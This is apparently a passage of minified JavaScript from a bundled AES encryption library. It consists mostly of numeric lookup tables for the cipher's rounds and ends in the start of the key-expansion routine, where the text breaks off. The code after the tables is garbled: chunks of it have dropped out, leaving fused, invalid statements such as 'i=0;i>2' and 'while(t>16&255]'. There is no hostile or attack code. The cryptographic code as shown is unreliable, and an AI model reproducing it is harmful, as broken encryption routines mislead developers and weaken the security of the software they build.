T1=[3328402341,4168907908,4000806809,4135287693,4294111757,3597364157,3731845041,2445657428,1613770832,33620227,3462883241,1445669757,3892248089,3050821474,1303096294,3967186586,2412431941,528646813,2311702848,4202528135,4026202645,2992200171,2387036105,4226871307,1101901292,3017069671,1604494077,1169141738,597466303,1403299063,3832705686,2613100635,1974974402,3791519004,1033081774,1277568618,1815492186,2118074177,4126668546,2211236943,1748251740,1369810420,3521504564,4193382664,3799085459,2883115123,1647391059,706024767,134480908,2512897874,1176707941,2646852446,806885416,932615841,168101135,798661301,235341577,605164086,461406363,3756188221,3454790438,1311188841,2142417613,3933566367,302582043,495158174,1479289972,874125870,907746093,3698224818,3025820398,1537253627,2756858614,1983593293,3084310113,2108928974,1378429307,3722699582,1580150641,327451799,2790478837,3117535592,0,3253595436,1075847264,3825007647,2041688520,3059440621,3563743934,2378943302,1740553945,1916352843,2487896798,2555137236,2958579944,2244988746,3151024235,3320835882,1336584933,3992714006,2252555205,2588757463,1714631509,293963156,2319795663,3925473552,67240454,4269768577,2689618160,2017213508,631218106,1269344483,2723238387,1571005438,2151694528,93294474,1066570413,563977660,1882732616,4059428100,1673313503,2008463041,2950355573,1109467491,537923632,3858759450,4260623118,3218264685,2177748300,403442708,638784309,3287084079,3193921505,899127202,2286175436,773265209,2479146071,1437050866,4236148354,2050833735,3362022572,3126681063,840505643,3866325909,3227541664,427917720,2655997905,2749160575,1143087718,1412049534,999329963,193497219,2353415882,3354324521,1807268051,672404540,2816401017,3160301282,369822493,2916866934,3688947771,1681011286,1949973070,336202270,2454276571,201721354,1210328172,3093060836,2680341085,3184776046,1135389935,3294782118,965841320,831886756,3554993207,4068047243,3588745010,2345191491,1849112409,3664604599,26054028,2983581028,2622377682,1235855840,3630984372,2891339514,4092916743,3488279077,3395642799,4101667470,1202630377,268961816,1874508501,4034427016,1243948399,1546530418,941366308,1470539505,1941222599,2546386513,3421038627,2715671932,3899946140,1042226977,2521517021,1639824860,227249030,260737669,3765465232,2084453954,1907733956,3429263018,2420656344,100860677,4160157185,470683154,3261161891,1781871967,2924959737,1773779408,394692241,2579611992,974986535,664706745,3655459128,3958962195,731420851,571543859,3530123707,2849626480,126783113,865375399,765172662,1008606754,361203602,3387549984,2278477385,2857719295,1344809080,2782912378,59542671,1503764984,160008576,437062935,1707065306,3622233649,2218934982,3496503480,2185314755,697932208,1512910199,504303377,2075177163,2824099068,1841019862,739644986];const T2=[2781242211,2230877308,2582542199,2381740923,234877682,3184946027,2984144751,1418839493,1348481072,50462977,2848876391,2102799147,434634494,1656084439,3863849899,2599188086,1167051466,2636087938,1082771913,2281340285,368048890,3954334041,3381544775,201060592,3963727277,1739838676,4250903202,3930435503,3206782108,4149453988,2531553906,1536934080,3262494647,484572669,2923271059,1783375398,1517041206,1098792767,49674231,1334037708,1550332980,4098991525,886171109,150598129,2481090929,1940642008,1398944049,1059722517,201851908,1385547719,1699095331,1587397571,674240536,2704774806,252314885,3039795866,151914247,908333586,2602270848,1038082786,651029483,1766729511,3447698098,2682942837,454166793,2652734339,1951935532,775166490,758520603,3000790638,4004797018,4217086112,4137964114,1299594043,1639438038,3464344499,2068982057,1054729187,1901997871,2534638724,4121318227,1757008337,0,750906861,1614815264,535035132,3363418545,3988151131,3201591914,1183697867,3647454910,1265776953,3734260298,3566750796,3903871064,1250283471,1807470800,717615087,3847203498,384695291,3313910595,3617213773,1432761139,2484176261,3481945413,283769337,100925954,2180939647,4037038160,1148730428,3123027871,3813386408,4087501137,4267549603,3229630528,2315620239,2906624658,3156319645,1215313976,82966005,3747855548,3245848246,1974459098,1665278241,807407632,451280895,251524083,1841287890,1283575245,337120268,891687699,801369324,3787349855,2721421207,3431482436,959321879,1469301956,4065699751,2197585534,1199193405,2898814052,3887750493,724703513,2514908019,2696962144,2551808385,3516813135,2141445340,1715741218,2119445034,2872807568,2198571144,3398190662,700968686,3547052216,1009259540,2041044702,3803995742,487983883,1991105499,1004265696,1449407026,1316239930,504629770,3683797321,168560134,1816667172,3837287516,1570751170,1857934291,4014189740,2797888098,2822345105,2754712981,936633572,2347923833,852879335,1133234376,1500395319,3084545389,2348912013,1689376213,3533459022,3762923945,3034082412,4205598294,133428468,634383082,2949277029,2398386810,3913789102,403703816,3580869306,2297460856,1867130149,1918643758,607656988,4049053350,3346248884,1368901318,600565992,2090982877,2632479860,557719327,3717614411,3697393085,2249034635,2232388234,2430627952,1115438654,3295786421,2865522278,3633334344,84280067,33027830,303828494,2747425121,1600795957,4188952407,3496589753,2434238086,1486471617,658119965,3106381470,953803233,334231800,3005978776,857870609,3151128937,1890179545,2298973838,2805175444,3056442267,574365214,2450884487,550103529,1233637070,4289353045,2018519080,2057691103,2399374476,4166623649,2148108681,387583245,3664101311,836232934,3330556482,3100665960,3280093505,2955516313,2002398509,287182607,3413881008,4238890068,3597515707,975967766];const T3=[1671808611,2089089148,2006576759,2072901243,4061003762,1807603307,1873927791,3310653893,810573872,16974337,1739181671,729634347,4263110654,3613570519,2883997099,1989864566,3393556426,2191335298,3376449993,2106063485,4195741690,1508618841,1204391495,4027317232,2917941677,3563566036,2734514082,2951366063,2629772188,2767672228,1922491506,3227229120,3082974647,4246528509,2477669779,644500518,911895606,1061256767,4144166391,3427763148,878471220,2784252325,3845444069,4043897329,1905517169,3631459288,827548209,356461077,67897348,3344078279,593839651,3277757891,405286936,2527147926,84871685,2595565466,118033927,305538066,2157648768,3795705826,3945188843,661212711,2999812018,1973414517,152769033,2208177539,745822252,439235610,455947803,1857215598,1525593178,2700827552,1391895634,994932283,3596728278,3016654259,695947817,3812548067,795958831,2224493444,1408607827,3513301457,0,3979133421,543178784,4229948412,2982705585,1542305371,1790891114,3410398667,3201918910,961245753,1256100938,1289001036,1491644504,3477767631,3496721360,4012557807,2867154858,4212583931,1137018435,1305975373,861234739,2241073541,1171229253,4178635257,33948674,2139225727,1357946960,1011120188,2679776671,2833468328,1374921297,2751356323,1086357568,2408187279,2460827538,2646352285,944271416,4110742005,3168756668,3066132406,3665145818,560153121,271589392,4279952895,4077846003,3530407890,3444343245,202643468,322250259,3962553324,1608629855,2543990167,1154254916,389623319,3294073796,2817676711,2122513534,1028094525,1689045092,1575467613,422261273,1939203699,1621147744,2174228865,1339137615,3699352540,577127458,712922154,2427141008,2290289544,1187679302,3995715566,3100863416,339486740,3732514782,1591917662,186455563,3681988059,3762019296,844522546,978220090,169743370,1239126601,101321734,611076132,1558493276,3260915650,3547250131,2901361580,1655096418,2443721105,2510565781,3828863972,2039214713,3878868455,3359869896,928607799,1840765549,2374762893,3580146133,1322425422,2850048425,1823791212,1459268694,4094161908,3928346602,1706019429,2056189050,2934523822,135794696,3134549946,2022240376,628050469,779246638,472135708,2800834470,3032970164,3327236038,3894660072,3715932637,1956440180,522272287,1272813131,3185336765,2340818315,2323976074,1888542832,1044544574,3049550261,1722469478,1222152264,50660867,4127324150,236067854,1638122081,895445557,1475980887,3117443513,2257655686,3243809217,489110045,2662934430,3778599393,4162055160,2561878936,288563729,1773916777,3648039385,2391345038,2493985684,2612407707,505560094,2274497927,3911240169,3460925390,1442818645,678973480,3749357023,2358182796,2717407649,2306869641,219617805,3218761151,3862026214,1120306242,1756942440,1103331905,2578459033,762796589,252780047,2966125488,1425844308,3151392187,372911126];const T4=[1667474886,2088535288,2004326894,2071694838,4075949567,1802223062,1869591006,3318043793,808472672,16843522,1734846926,724270422,4278065639,3621216949,2880169549,1987484396,3402253711,2189597983,3385409673,2105378810,4210693615,1499065266,1195886990,4042263547,2913856577,3570689971,2728590687,2947541573,2627518243,2762274643,1920112356,3233831835,3082273397,4261223649,2475929149,640051788,909531756,1061110142,4160160501,3435941763,875846760,2779116625,3857003729,4059105529,1903268834,3638064043,825316194,353713962,67374088,3351728789,589522246,3284360861,404236336,2526454071,84217610,2593830191,117901582,303183396,2155911963,3806477791,3958056653,656894286,2998062463,1970642922,151591698,2206440989,741110872,437923380,454765878,1852748508,1515908788,2694904667,1381168804,993742198,3604373943,3014905469,690584402,3823320797,791638366,2223281939,1398011302,3520161977,0,3991743681,538992704,4244381667,2981218425,1532751286,1785380564,3419096717,3200178535,960056178,1246420628,1280103576,1482221744,3486468741,3503319995,4025428677,2863326543,4227536621,1128514950,1296947098,859002214,2240123921,1162203018,4193849577,33687044,2139062782,1347481760,1010582648,2678045221,2829640523,1364325282,2745433693,1077985408,2408548869,2459086143,2644360225,943212656,4126475505,3166494563,3065430391,3671750063,555836226,269496352,4294908645,4092792573,3537006015,3452783745,202118168,320025894,3974901699,1600119230,2543297077,1145359496,387397934,3301201811,2812801621,2122220284,1027426170,1684319432,1566435258,421079858,1936954854,1616945344,2172753945,1330631070,3705438115,572679748,707427924,2425400123,2290647819,1179044492,4008585671,3099120491,336870440,3739122087,1583276732,185277718,3688593069,3772791771,842159716,976899700,168435220,1229577106,101059084,606366792,1549591736,3267517855,3553849021,2897014595,1650632388,2442242105,2509612081,3840161747,2038008818,3890688725,3368567691,926374254,1835907034,2374863873,3587531953,1313788572,2846482505,1819063512,1448540844,4109633523,3941213647,1701162954,2054852340,2930698567,134748176,3132806511,2021165296,623210314,774795868,471606328,2795958615,3031746419,3334885783,3907527627,3722280097,1953799400,522133822,1263263126,3183336545,2341176845,2324333839,1886425312,1044267644,3048588401,1718004428,1212733584,50529542,4143317495,235803164,1633788866,892690282,1465383342,3115962473,2256965911,3250673817,488449850,2661202215,3789633753,4177007595,2560144171,286339874,1768537042,3654906025,2391705863,2492770099,2610673197,505291324,2273808917,3924369609,3469625735,1431699370,673740880,3755965093,2358021891,2711746649,2307489801,218961690,3217021541,3873845719,1111672452,1751693520,1094828930,2576986153,757954394,252645662,2964376443,1414855848,3149649517,370555436];const T5=[1374988112,2118214995,437757123,975658646,1001089995,530400753,2902087851,1273168787,540080725,2910219766,2295101073,4110568485,1340463100,3307916247,641025152,3043140495,3736164937,632953703,1172967064,1576976609,3274667266,2169303058,2370213795,1809054150,59727847,361929877,3211623147,2505202138,3569255213,1484005843,1239443753,2395588676,1975683434,4102977912,2572697195,666464733,3202437046,4035489047,3374361702,2110667444,1675577880,3843699074,2538681184,1649639237,2976151520,3144396420,4269907996,4178062228,1883793496,2403728665,2497604743,1383856311,2876494627,1917518562,3810496343,1716890410,3001755655,800440835,2261089178,3543599269,807962610,599762354,33778362,3977675356,2328828971,2809771154,4077384432,1315562145,1708848333,101039829,3509871135,3299278474,875451293,2733856160,92987698,2767645557,193195065,1080094634,1584504582,3178106961,1042385657,2531067453,3711829422,1306967366,2438237621,1908694277,67556463,1615861247,429456164,3602770327,2302690252,1742315127,2968011453,126454664,3877198648,2043211483,2709260871,2084704233,4169408201,0,159417987,841739592,504459436,1817866830,4245618683,260388950,1034867998,908933415,168810852,1750902305,2606453969,607530554,202008497,2472011535,3035535058,463180190,2160117071,1641816226,1517767529,470948374,3801332234,3231722213,1008918595,303765277,235474187,4069246893,766945465,337553864,1475418501,2943682380,4003061179,2743034109,4144047775,1551037884,1147550661,1543208500,2336434550,3408119516,3069049960,3102011747,3610369226,1113818384,328671808,2227573024,2236228733,3535486456,2935566865,3341394285,496906059,3702665459,226906860,2009195472,733156972,2842737049,294930682,1206477858,2835123396,2700099354,1451044056,573804783,2269728455,3644379585,2362090238,2564033334,2801107407,2776292904,3669462566,1068351396,742039012,1350078989,1784663195,1417561698,4136440770,2430122216,775550814,2193862645,2673705150,1775276924,1876241833,3475313331,3366754619,270040487,3902563182,3678124923,3441850377,1851332852,3969562369,2203032232,3868552805,2868897406,566021896,4011190502,3135740889,1248802510,3936291284,699432150,832877231,708780849,3332740144,899835584,1951317047,4236429990,3767586992,866637845,4043610186,1106041591,2144161806,395441711,1984812685,1139781709,3433712980,3835036895,2664543715,1282050075,3240894392,1181045119,2640243204,25965917,4203181171,4211818798,3009879386,2463879762,3910161971,1842759443,2597806476,933301370,1509430414,3943906441,3467192302,3076639029,3776767469,2051518780,2631065433,1441952575,404016761,1942435775,1408749034,1610459739,3745345300,2017778566,3400528769,3110650942,941896748,3265478751,371049330,3168937228,675039627,4279080257,967311729,135050206,3635733660,1683407248,2076935265,3576870512,1215061108,3501741890];const T6=[1347548327,1400783205,3273267108,2520393566,3409685355,4045380933,2880240216,2471224067,1428173050,4138563181,2441661558,636813900,4233094615,3620022987,2149987652,2411029155,1239331162,1730525723,2554718734,3781033664,46346101,310463728,2743944855,3328955385,3875770207,2501218972,3955191162,3667219033,768917123,3545789473,692707433,1150208456,1786102409,2029293177,1805211710,3710368113,3065962831,401639597,1724457132,3028143674,409198410,2196052529,1620529459,1164071807,3769721975,2226875310,486441376,2499348523,1483753576,428819965,2274680428,3075636216,598438867,3799141122,1474502543,711349675,129166120,53458370,2592523643,2782082824,4063242375,2988687269,3120694122,1559041666,730517276,2460449204,4042459122,2706270690,3446004468,3573941694,533804130,2328143614,2637442643,2695033685,839224033,1973745387,957055980,2856345839,106852767,1371368976,4181598602,1033297158,2933734917,1179510461,3046200461,91341917,1862534868,4284502037,605657339,2547432937,3431546947,2003294622,3182487618,2282195339,954669403,3682191598,1201765386,3917234703,3388507166,0,2198438022,1211247597,2887651696,1315723890,4227665663,1443857720,507358933,657861945,1678381017,560487590,3516619604,975451694,2970356327,261314535,3535072918,2652609425,1333838021,2724322336,1767536459,370938394,182621114,3854606378,1128014560,487725847,185469197,2918353863,3106780840,3356761769,2237133081,1286567175,3152976349,4255350624,2683765030,3160175349,3309594171,878443390,1988838185,3704300486,1756818940,1673061617,3403100636,272786309,1075025698,545572369,2105887268,4174560061,296679730,1841768865,1260232239,4091327024,3960309330,3497509347,1814803222,2578018489,4195456072,575138148,3299409036,446754879,3629546796,4011996048,3347532110,3252238545,4270639778,915985419,3483825537,681933534,651868046,2755636671,3828103837,223377554,2607439820,1649704518,3270937875,3901806776,1580087799,4118987695,3198115200,2087309459,2842678573,3016697106,1003007129,2802849917,1860738147,2077965243,164439672,4100872472,32283319,2827177882,1709610350,2125135846,136428751,3874428392,3652904859,3460984630,3572145929,3593056380,2939266226,824852259,818324884,3224740454,930369212,2801566410,2967507152,355706840,1257309336,4148292826,243256656,790073846,2373340630,1296297904,1422699085,3756299780,3818836405,457992840,3099667487,2135319889,77422314,1560382517,1945798516,788204353,1521706781,1385356242,870912086,325965383,2358957921,2050466060,2388260884,2313884476,4006521127,901210569,3990953189,1014646705,1503449823,1062597235,2031621326,3212035895,3931371469,1533017514,350174575,2256028891,2177544179,1052338372,741876788,1606591296,1914052035,213705253,2334669897,1107234197,1899603969,3725069491,2631447780,2422494913,1635502980,1893020342,1950903388,1120974935];const T7=[2807058932,1699970625,2764249623,1586903591,1808481195,1173430173,1487645946,59984867,4199882800,1844882806,1989249228,1277555970,3623636965,3419915562,1149249077,2744104290,1514790577,459744698,244860394,3235995134,1963115311,4027744588,2544078150,4190530515,1608975247,2627016082,2062270317,1507497298,2200818878,567498868,1764313568,3359936201,2305455554,2037970062,1047239e3,1910319033,1337376481,2904027272,2892417312,984907214,1243112415,830661914,861968209,2135253587,2011214180,2927934315,2686254721,731183368,1750626376,4246310725,1820824798,4172763771,3542330227,48394827,2404901663,2871682645,671593195,3254988725,2073724613,145085239,2280796200,2779915199,1790575107,2187128086,472615631,3029510009,4075877127,3802222185,4107101658,3201631749,1646252340,4270507174,1402811438,1436590835,3778151818,3950355702,3963161475,4020912224,2667994737,273792366,2331590177,104699613,95345982,3175501286,2377486676,1560637892,3564045318,369057872,4213447064,3919042237,1137477952,2658625497,1119727848,2340947849,1530455833,4007360968,172466556,266959938,516552836,0,2256734592,3980931627,1890328081,1917742170,4294704398,945164165,3575528878,958871085,3647212047,2787207260,1423022939,775562294,1739656202,3876557655,2530391278,2443058075,3310321856,547512796,1265195639,437656594,3121275539,719700128,3762502690,387781147,218828297,3350065803,2830708150,2848461854,428169201,122466165,3720081049,1627235199,648017665,4122762354,1002783846,2117360635,695634755,3336358691,4234721005,4049844452,3704280881,2232435299,574624663,287343814,612205898,1039717051,840019705,2708326185,793451934,821288114,1391201670,3822090177,376187827,3113855344,1224348052,1679968233,2361698556,1058709744,752375421,2431590963,1321699145,3519142200,2734591178,188127444,2177869557,3727205754,2384911031,3215212461,2648976442,2450346104,3432737375,1180849278,331544205,3102249176,4150144569,2952102595,2159976285,2474404304,766078933,313773861,2570832044,2108100632,1668212892,3145456443,2013908262,418672217,3070356634,2594734927,1852171925,3867060991,3473416636,3907448597,2614737639,919489135,164948639,2094410160,2997825956,590424639,2486224549,1723872674,3157750862,3399941250,3501252752,3625268135,2555048196,3673637356,1343127501,4130281361,3599595085,2957853679,1297403050,81781910,3051593425,2283490410,532201772,1367295589,3926170974,895287692,1953757831,1093597963,492483431,3528626907,1446242576,1192455638,1636604631,209336225,344873464,1015671571,669961897,3375740769,3857572124,2973530695,3747192018,1933530610,3464042516,935293895,3454686199,2858115069,1863638845,3683022916,4085369519,3292445032,875313188,1080017571,3279033885,621591778,1233856572,2504130317,24197544,3017672716,3835484340,3247465558,2220981195,3060847922,1551124588,1463996600];const T8=[4104605777,1097159550,396673818,660510266,2875968315,2638606623,4200115116,3808662347,821712160,1986918061,3430322568,38544885,3856137295,718002117,893681702,1654886325,2975484382,3122358053,3926825029,4274053469,796197571,1290801793,1184342925,3556361835,2405426947,2459735317,1836772287,1381620373,3196267988,1948373848,3764988233,3385345166,3263785589,2390325492,1480485785,3111247143,3780097726,2293045232,548169417,3459953789,3746175075,439452389,1362321559,1400849762,1685577905,1806599355,2174754046,137073913,1214797936,1174215055,3731654548,2079897426,1943217067,1258480242,529487843,1437280870,3945269170,3049390895,3313212038,923313619,679998e3,3215307299,57326082,377642221,3474729866,2041877159,133361907,1776460110,3673476453,96392454,878845905,2801699524,777231668,4082475170,2330014213,4142626212,2213296395,1626319424,1906247262,1846563261,562755902,3708173718,1040559837,3871163981,1418573201,3294430577,114585348,1343618912,2566595609,3186202582,1078185097,3651041127,3896688048,2307622919,425408743,3371096953,2081048481,1108339068,2216610296,0,2156299017,736970802,292596766,1517440620,251657213,2235061775,2933202493,758720310,265905162,1554391400,1532285339,908999204,174567692,1474760595,4002861748,2610011675,3234156416,3693126241,2001430874,303699484,2478443234,2687165888,585122620,454499602,151849742,2345119218,3064510765,514443284,4044981591,1963412655,2581445614,2137062819,19308535,1928707164,1715193156,4219352155,1126790795,600235211,3992742070,3841024952,836553431,1669664834,2535604243,3323011204,1243905413,3141400786,4180808110,698445255,2653899549,2989552604,2253581325,3252932727,3004591147,1891211689,2487810577,3915653703,4237083816,4030667424,2100090966,865136418,1229899655,953270745,3399679628,3557504664,4118925222,2061379749,3079546586,2915017791,983426092,2022837584,1607244650,2118541908,2366882550,3635996816,972512814,3283088770,1568718495,3499326569,3576539503,621982671,2895723464,410887952,2623762152,1002142683,645401037,1494807662,2595684844,1335535747,2507040230,4293295786,3167684641,367585007,3885750714,1865862730,2668221674,2960971305,2763173681,1059270954,2777952454,2724642869,1320957812,2194319100,2429595872,2815956275,77089521,3973773121,3444575871,2448830231,1305906550,4021308739,2857194700,2516901860,3518358430,1787304780,740276417,1699839814,1592394909,2352307457,2272556026,188821243,1729977011,3687994002,274084841,3594982253,3613494426,2701949495,4162096729,322734571,2837966542,1640576439,484830689,1202797690,3537852828,4067639125,349075736,3342319475,4157467219,4255800159,1030690015,1155237496,2951971274,1757691577,607398968,2738905026,499347990,3794078908,1011452712,227885567,2818666809,213114376,3034881240,1455525988,3414450555,850817237,1817998408,3092726480];const U1=[0,235474187,470948374,303765277,941896748,908933415,607530554,708780849,1883793496,2118214995,1817866830,1649639237,1215061108,1181045119,1417561698,1517767529,3767586992,4003061179,4236429990,4069246893,3635733660,3602770327,3299278474,3400528769,2430122216,2664543715,2362090238,2193862645,2835123396,2801107407,3035535058,3135740889,3678124923,3576870512,3341394285,3374361702,3810496343,3977675356,4279080257,4043610186,2876494627,2776292904,3076639029,3110650942,2472011535,2640243204,2403728665,2169303058,1001089995,899835584,666464733,699432150,59727847,226906860,530400753,294930682,1273168787,1172967064,1475418501,1509430414,1942435775,2110667444,1876241833,1641816226,2910219766,2743034109,2976151520,3211623147,2505202138,2606453969,2302690252,2269728455,3711829422,3543599269,3240894392,3475313331,3843699074,3943906441,4178062228,4144047775,1306967366,1139781709,1374988112,1610459739,1975683434,2076935265,1775276924,1742315127,1034867998,866637845,566021896,800440835,92987698,193195065,429456164,395441711,1984812685,2017778566,1784663195,1683407248,1315562145,1080094634,1383856311,1551037884,101039829,135050206,437757123,337553864,1042385657,807962610,573804783,742039012,2531067453,2564033334,2328828971,2227573024,2935566865,2700099354,3001755655,3168937228,3868552805,3902563182,4203181171,4102977912,3736164937,3501741890,3265478751,3433712980,1106041591,1340463100,1576976609,1408749034,2043211483,2009195472,1708848333,1809054150,832877231,1068351396,766945465,599762354,159417987,126454664,361929877,463180190,2709260871,2943682380,3178106961,3009879386,2572697195,2538681184,2236228733,2336434550,3509871135,3745345300,3441850377,3274667266,3910161971,3877198648,4110568485,4211818798,2597806476,2497604743,2261089178,2295101073,2733856160,2902087851,3202437046,2968011453,3936291284,3835036895,4136440770,4169408201,3535486456,3702665459,3467192302,3231722213,2051518780,1951317047,1716890410,1750902305,1113818384,1282050075,1584504582,1350078989,168810852,67556463,371049330,404016761,841739592,1008918595,775550814,540080725,3969562369,3801332234,4035489047,4269907996,3569255213,3669462566,3366754619,3332740144,2631065433,2463879762,2160117071,2395588676,2767645557,2868897406,3102011747,3069049960,202008497,33778362,270040487,504459436,875451293,975658646,675039627,641025152,2084704233,1917518562,1615861247,1851332852,1147550661,1248802510,1484005843,1451044056,933301370,967311729,733156972,632953703,260388950,25965917,328671808,496906059,1206477858,1239443753,1543208500,1441952575,2144161806,1908694277,1675577880,1842759443,3610369226,3644379585,3408119516,3307916247,4011190502,3776767469,4077384432,4245618683,2809771154,2842737049,3144396420,3043140495,2673705150,2438237621,2203032232,2370213795];const U2=[0,185469197,370938394,487725847,741876788,657861945,975451694,824852259,1483753576,1400783205,1315723890,1164071807,1950903388,2135319889,1649704518,1767536459,2967507152,3152976349,2801566410,2918353863,2631447780,2547432937,2328143614,2177544179,3901806776,3818836405,4270639778,4118987695,3299409036,3483825537,3535072918,3652904859,2077965243,1893020342,1841768865,1724457132,1474502543,1559041666,1107234197,1257309336,598438867,681933534,901210569,1052338372,261314535,77422314,428819965,310463728,3409685355,3224740454,3710368113,3593056380,3875770207,3960309330,4045380933,4195456072,2471224067,2554718734,2237133081,2388260884,3212035895,3028143674,2842678573,2724322336,4138563181,4255350624,3769721975,3955191162,3667219033,3516619604,3431546947,3347532110,2933734917,2782082824,3099667487,3016697106,2196052529,2313884476,2499348523,2683765030,1179510461,1296297904,1347548327,1533017514,1786102409,1635502980,2087309459,2003294622,507358933,355706840,136428751,53458370,839224033,957055980,605657339,790073846,2373340630,2256028891,2607439820,2422494913,2706270690,2856345839,3075636216,3160175349,3573941694,3725069491,3273267108,3356761769,4181598602,4063242375,4011996048,3828103837,1033297158,915985419,730517276,545572369,296679730,446754879,129166120,213705253,1709610350,1860738147,1945798516,2029293177,1239331162,1120974935,1606591296,1422699085,4148292826,4233094615,3781033664,3931371469,3682191598,3497509347,3446004468,3328955385,2939266226,2755636671,3106780840,2988687269,2198438022,2282195339,2501218972,2652609425,1201765386,1286567175,1371368976,1521706781,1805211710,1620529459,2105887268,1988838185,533804130,350174575,164439672,46346101,870912086,954669403,636813900,788204353,2358957921,2274680428,2592523643,2441661558,2695033685,2880240216,3065962831,3182487618,3572145929,3756299780,3270937875,3388507166,4174560061,4091327024,4006521127,3854606378,1014646705,930369212,711349675,560487590,272786309,457992840,106852767,223377554,1678381017,1862534868,1914052035,2031621326,1211247597,1128014560,1580087799,1428173050,32283319,182621114,401639597,486441376,768917123,651868046,1003007129,818324884,1503449823,1385356242,1333838021,1150208456,1973745387,2125135846,1673061617,1756818940,2970356327,3120694122,2802849917,2887651696,2637442643,2520393566,2334669897,2149987652,3917234703,3799141122,4284502037,4100872472,3309594171,3460984630,3545789473,3629546796,2050466060,1899603969,1814803222,1730525723,1443857720,1560382517,1075025698,1260232239,575138148,692707433,878443390,1062597235,243256656,91341917,409198410,325965383,3403100636,3252238545,3704300486,3620022987,3874428392,3990953189,4042459122,4227665663,2460449204,2578018489,2226875310,2411029155,3198115200,3046200461,2827177882,2743944855];const U3=[0,218828297,437656594,387781147,875313188,958871085,775562294,590424639,1750626376,1699970625,1917742170,2135253587,1551124588,1367295589,1180849278,1265195639,3501252752,3720081049,3399941250,3350065803,3835484340,3919042237,4270507174,4085369519,3102249176,3051593425,2734591178,2952102595,2361698556,2177869557,2530391278,2614737639,3145456443,3060847922,2708326185,2892417312,2404901663,2187128086,2504130317,2555048196,3542330227,3727205754,3375740769,3292445032,3876557655,3926170974,4246310725,4027744588,1808481195,1723872674,1910319033,2094410160,1608975247,1391201670,1173430173,1224348052,59984867,244860394,428169201,344873464,935293895,984907214,766078933,547512796,1844882806,1627235199,2011214180,2062270317,1507497298,1423022939,1137477952,1321699145,95345982,145085239,532201772,313773861,830661914,1015671571,731183368,648017665,3175501286,2957853679,2807058932,2858115069,2305455554,2220981195,2474404304,2658625497,3575528878,3625268135,3473416636,3254988725,3778151818,3963161475,4213447064,4130281361,3599595085,3683022916,3432737375,3247465558,3802222185,4020912224,4172763771,4122762354,3201631749,3017672716,2764249623,2848461854,2331590177,2280796200,2431590963,2648976442,104699613,188127444,472615631,287343814,840019705,1058709744,671593195,621591778,1852171925,1668212892,1953757831,2037970062,1514790577,1463996600,1080017571,1297403050,3673637356,3623636965,3235995134,3454686199,4007360968,3822090177,4107101658,4190530515,2997825956,3215212461,2830708150,2779915199,2256734592,2340947849,2627016082,2443058075,172466556,122466165,273792366,492483431,1047239e3,861968209,612205898,695634755,1646252340,1863638845,2013908262,1963115311,1446242576,1530455833,1277555970,1093597963,1636604631,1820824798,2073724613,1989249228,1436590835,1487645946,1337376481,1119727848,164948639,81781910,331544205,516552836,1039717051,821288114,669961897,719700128,2973530695,3157750862,2871682645,2787207260,2232435299,2283490410,2667994737,2450346104,3647212047,3564045318,3279033885,3464042516,3980931627,3762502690,4150144569,4199882800,3070356634,3121275539,2904027272,2686254721,2200818878,2384911031,2570832044,2486224549,3747192018,3528626907,3310321856,3359936201,3950355702,3867060991,4049844452,4234721005,1739656202,1790575107,2108100632,1890328081,1402811438,1586903591,1233856572,1149249077,266959938,48394827,369057872,418672217,1002783846,919489135,567498868,752375421,209336225,24197544,376187827,459744698,945164165,895287692,574624663,793451934,1679968233,1764313568,2117360635,1933530610,1343127501,1560637892,1243112415,1192455638,3704280881,3519142200,3336358691,3419915562,3907448597,3857572124,4075877127,4294704398,3029510009,3113855344,2927934315,2744104290,2159976285,2377486676,2594734927,2544078150];const U4=[0,151849742,303699484,454499602,607398968,758720310,908999204,1059270954,1214797936,1097159550,1517440620,1400849762,1817998408,1699839814,2118541908,2001430874,2429595872,2581445614,2194319100,2345119218,3034881240,3186202582,2801699524,2951971274,3635996816,3518358430,3399679628,3283088770,4237083816,4118925222,4002861748,3885750714,1002142683,850817237,698445255,548169417,529487843,377642221,227885567,77089521,1943217067,2061379749,1640576439,1757691577,1474760595,1592394909,1174215055,1290801793,2875968315,2724642869,3111247143,2960971305,2405426947,2253581325,2638606623,2487810577,3808662347,3926825029,4044981591,4162096729,3342319475,3459953789,3576539503,3693126241,1986918061,2137062819,1685577905,1836772287,1381620373,1532285339,1078185097,1229899655,1040559837,923313619,740276417,621982671,439452389,322734571,137073913,19308535,3871163981,4021308739,4104605777,4255800159,3263785589,3414450555,3499326569,3651041127,2933202493,2815956275,3167684641,3049390895,2330014213,2213296395,2566595609,2448830231,1305906550,1155237496,1607244650,1455525988,1776460110,1626319424,2079897426,1928707164,96392454,213114376,396673818,514443284,562755902,679998e3,865136418,983426092,3708173718,3557504664,3474729866,3323011204,4180808110,4030667424,3945269170,3794078908,2507040230,2623762152,2272556026,2390325492,2975484382,3092726480,2738905026,2857194700,3973773121,3856137295,4274053469,4157467219,3371096953,3252932727,3673476453,3556361835,2763173681,2915017791,3064510765,3215307299,2156299017,2307622919,2459735317,2610011675,2081048481,1963412655,1846563261,1729977011,1480485785,1362321559,1243905413,1126790795,878845905,1030690015,645401037,796197571,274084841,425408743,38544885,188821243,3613494426,3731654548,3313212038,3430322568,4082475170,4200115116,3780097726,3896688048,2668221674,2516901860,2366882550,2216610296,3141400786,2989552604,2837966542,2687165888,1202797690,1320957812,1437280870,1554391400,1669664834,1787304780,1906247262,2022837584,265905162,114585348,499347990,349075736,736970802,585122620,972512814,821712160,2595684844,2478443234,2293045232,2174754046,3196267988,3079546586,2895723464,2777952454,3537852828,3687994002,3234156416,3385345166,4142626212,4293295786,3841024952,3992742070,174567692,57326082,410887952,292596766,777231668,660510266,1011452712,893681702,1108339068,1258480242,1343618912,1494807662,1715193156,1865862730,1948373848,2100090966,2701949495,2818666809,3004591147,3122358053,2235061775,2352307457,2535604243,2653899549,3915653703,3764988233,4219352155,4067639125,3444575871,3294430577,3746175075,3594982253,836553431,953270745,600235211,718002117,367585007,484830689,133361907,251657213,2041877159,1891211689,1806599355,1654886325,1568718495,1418573201,1335535747,1184342925];function convertToInt32(bytes){const result=[];for(let i=0;i>2;__classPrivateFieldGet$2(this,_AES_Ke,"f")[index][i%4]=tk[i];__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds-index][i%4]=tk[i]}let rconpointer=0;let t=KC,tt;while(t>16&255]<<24^S[tt>>8&255]<<16^S[tt&255]<<8^S[tt>>24&255]^rcon[rconpointer]<<24;rconpointer+=1;if(KC!=8){for(let i=1;i>8&255]<<8^S[tt>>16&255]<<16^S[tt>>24&255]<<24;for(let 